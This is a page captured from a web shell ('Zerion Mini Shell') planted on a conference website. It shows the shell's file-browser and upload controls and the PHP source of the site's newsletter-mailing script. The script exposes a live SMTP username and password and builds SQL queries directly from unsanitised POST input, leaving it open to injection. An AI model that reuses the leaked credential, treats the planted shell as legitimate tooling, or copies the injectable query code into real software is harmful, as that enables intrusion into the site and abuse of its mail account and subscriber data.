%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/congress-eldw.eu/public_html/
Upload File :
Create Path :
Current File : /home/alliance/domains/congress-eldw.eu/public_html/a-newsletter_mail.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/init.php");
include_once("inc/session.php");
include_once("inc/phpmailer/class.phpmailer.php");

verif_co_admin();
$db = new BaseOps;

if($_POST['lang'] == 1) $langue = "fr";
if($_POST['lang'] == 2) $langue = "en";

$values = array(
	"envoye" => 1
);
$db->update("newsletter",$values, "id_newsletter=".$_POST["id_newsletter"]);

$file = fopen ("mailtemp.html", "a+");
$message = fread($file, filesize("mailtemp.html"));
fclose($file);

echo $_POST['num'];
if($_POST['num'] == 1)
{
	$debut = 0;
}
else {
	$debut = (($_POST['num']-1)*10);
}


$query = "SELECT * FROM `newsletter_inscrits` WHERE lang = ".$_POST['lang']." LIMIT ".$debut.",10";
$result = $db->q($query);


while ($data = mysql_fetch_assoc($result))
{
	$subject="=?UTF-8?B?".base64_encode(stripslashes("Demoweek : ".$_POST['titre']))."?=";
	$headers= "From: \"Demoweek\" <".$email_noreply.">\n";
	$headers.='Content-type: text/html; charset=utf-8';
	//mail($data['email'], $subject, $message, $headers);
	
	$mail = new PHPMailer();
	$mail->CharSet = 'UTF-8';
    $mail->From = $email_noreply;
	$mail->FromName = "Demoweek";
	$mail->Subject = $_POST['titre'];
	$mail->MsgHTML(str_replace("#IDUSER#",$data['id']*561,$message));
 
    $mail->AddAddress($data['email']);
	//$mail->AddAddress("marie-anne@alnetis.fr");
	$mail->IsSMTP(); // telling the class to use SMTP
	$mail->SMTPDebug  = 0;                     // enables SMTP debug information (for testing)
	$mail->SMTPAuth   = true;                  // enable SMTP authentication
	$mail->Host       = "smtp.octomail.info"; // sets the SMTP server
	$mail->Port       = 587;                    // set the SMTP port for the GMAIL server
	$mail->Username   = "sedl@octomail.info"; // SMTP account username
	$mail->Password   = "2UFvaB1eqj5QeQv8";       
	$mail->send();
	
	
}
$query = "SELECT * FROM `newsletter_inscrits` WHERE lang = 1";
$nbmail= $db->count($query);
if(($_POST['num']*10)>=$nbmail){
	$debut=$_POST['num']-ceil(($nbmail)/10);
	
	mysql_close();
	mysql_connect($host_sedl,$user_sedl,$password_sedl) or die("erreur de connexion au serveur $host");
	mysql_select_db($database_sedl) or die("erreur de connexion a la base de donnees");
	$db = new BaseOps;
	$query = "SELECT * FROM `newsletter_inscrits` WHERE lang = ".$_POST['lang']." LIMIT ".$debut.",10";

	mysql_close();
	mysql_connect($host,$user,$password) or die("erreur de connexion au serveur $host");
	mysql_select_db($database) or die("erreur de connexion a la base de donnees");
	
	
	while ($data = mysql_fetch_assoc($result))
	{
		$subject="=?UTF-8?B?".base64_encode(stripslashes("Demoweek : ".$_POST['titre']))."?=";
		$headers= "From: \"Demoweek\" <".$email_noreply.">\n";
		$headers.='Content-type: text/html; charset=utf-8';
		//mail($data['email'], $subject, $message, $headers);
		
		$mail = new PHPMailer();
		$mail->CharSet = 'UTF-8';
		$mail->From = $email_noreply;
		$mail->FromName = "Demoweek";
		$mail->Subject = $_POST['titre'];
		$mail->MsgHTML(str_replace("#IDUSER#","ext_".$data['id']*561,$message));
	 
		$mail->AddAddress($data['email']);
		//$mail->AddAddress("marie-anne@alnetis.fr");
		$mail->IsSMTP(); // telling the class to use SMTP
		$mail->SMTPDebug  = 0;                     // enables SMTP debug information (for testing)
		$mail->SMTPAuth   = true;                  // enable SMTP authentication
		$mail->Host       = "smtp.octomail.info"; // sets the SMTP server
		$mail->Port       = 587;                    // set the SMTP port for the GMAIL server
		$mail->Username   = "sedl@octomail.info"; // SMTP account username
		$mail->Password   = "2UFvaB1eqj5QeQv8";       
		$mail->send();
		
		
	}
}
echo ' <span class="succed">Envoyé</span>';

?>

Zerion Mini Shell 1.0